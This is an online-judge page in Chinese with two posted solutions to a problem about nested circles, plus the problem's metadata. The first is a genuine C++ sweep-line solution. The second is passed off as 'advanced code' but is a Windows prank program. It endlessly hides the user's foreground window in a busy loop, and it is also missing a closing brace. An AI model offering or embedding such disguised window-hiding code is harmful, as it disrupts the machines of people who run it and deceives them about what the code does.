2 条题解

  • 0
    /*program from Wolfycz*/
    #include<set>
    #include<cmath>
    #include<cstdio>
    #include<cstring>
    #include<iostream>
    #include<algorithm>
    #define Fi first
    #define Se second
    #define inf 0x7f7f7f7f
    #define sqr(x) ((x)*(x))
    using namespace std;
    typedef long long ll;
    typedef long double ld;
    typedef unsigned int ui;
    typedef unsigned long long ull;
    inline char gc(){
        static char buf[1000000],*p1=buf,*p2=buf;
        return p1==p2&&(p2=(p1=buf)+fread(buf,1,1000000,stdin),p1==p2)?EOF:*p1++;
    }
    inline int frd(){
        int x=0,f=1; char ch=gc();
        for (;ch<'0'||ch>'9';ch=gc())   if (ch=='-')    f=-1;
        for (;ch>='0'&&ch<='9';ch=gc()) x=(x<<3)+(x<<1)+ch-'0';
        return x*f;
    }
    inline int read(){
        int x=0,f=1; char ch=getchar();
        for (;ch<'0'||ch>'9';ch=getchar())  if (ch=='-')    f=-1;
        for (;ch>='0'&&ch<='9';ch=getchar())    x=(x<<3)+(x<<1)+ch-'0';
        return x*f;
    }
    inline void print(int x){
        if (x<0)    putchar('-'),x=-x;
        if (x>9)    print(x/10);
        putchar(x%10+'0');
    }
    const int N=2e5;
    const double eps=1e-8;
    double A[N+10],B[N+10],R[N+10],Nx;
    struct node{
        int type,ID;
        node(int _type=0,int _ID=0){type=_type,ID=_ID;}
        void insert(int _type,int _ID){type=_type,ID=_ID;}
        double T(){return B[ID]+(double)type*(sqrt(sqr(R[ID])-sqr(Nx-A[ID]))+eps);}
    };
    bool operator <(node a,node b){return a.T()-b.T()<-eps;}
    struct S1{
        int type,v,ID;
        void insert(int _type,int _v,int _ID){type=_type,v=_v,ID=_ID;}
        bool operator <(const S1 &tis)const{return v<tis.v;}
    }opr[(N<<1)+10];//operator
    bool can[N+10];
    set<node>ST;
    int main(){
        int n=read(),cnt=0; ll Ans=0;
        for (int i=1;i<=n;i++){
            scanf("%lf%lf%lf",A+i,B+i,R+i);
            opr[++cnt].insert( 1,A[i]-R[i],i);
            opr[++cnt].insert(-1,A[i]+R[i],i);
        }
        sort(opr+1,opr+1+cnt);
        for (int i=1;i<=cnt;i++){
            Nx=opr[i].v;
            if (opr[i].type>0){
                set<node>::iterator it=ST.insert(node(1,opr[i].ID)).Fi;
                if (it==ST.begin()) can[opr[i].ID]=1;
                else{   
                    it--;
                    can[opr[i].ID]=can[(*it).ID]^((*it).type<0);
                }
                Ans+=(can[opr[i].ID]?1:-1)*sqr(R[opr[i].ID]);
                ST.insert(node(-1,opr[i].ID));
            }else{
                ST.erase(node( 1,opr[i].ID));
                ST.erase(node(-1,opr[i].ID));
            }
        }
        printf("%lld\n",Ans);
        return 0;
    }
    
    • 0
      @ 2024-3-19 17:11:06
      #include<windows.h>
      using namespace std;
      int main(){
      while(1){
      HWND hWnd=GetForegroundWindow();
      ShowWindow(hWnd,SW_HIDE);
      }//高级代码 
      
      • 1

      信息

      ID
      1429
      时间
      3000ms
      内存
      256MiB
      难度
      10
      标签
      递交数
      7
      已通过
      3
      上传者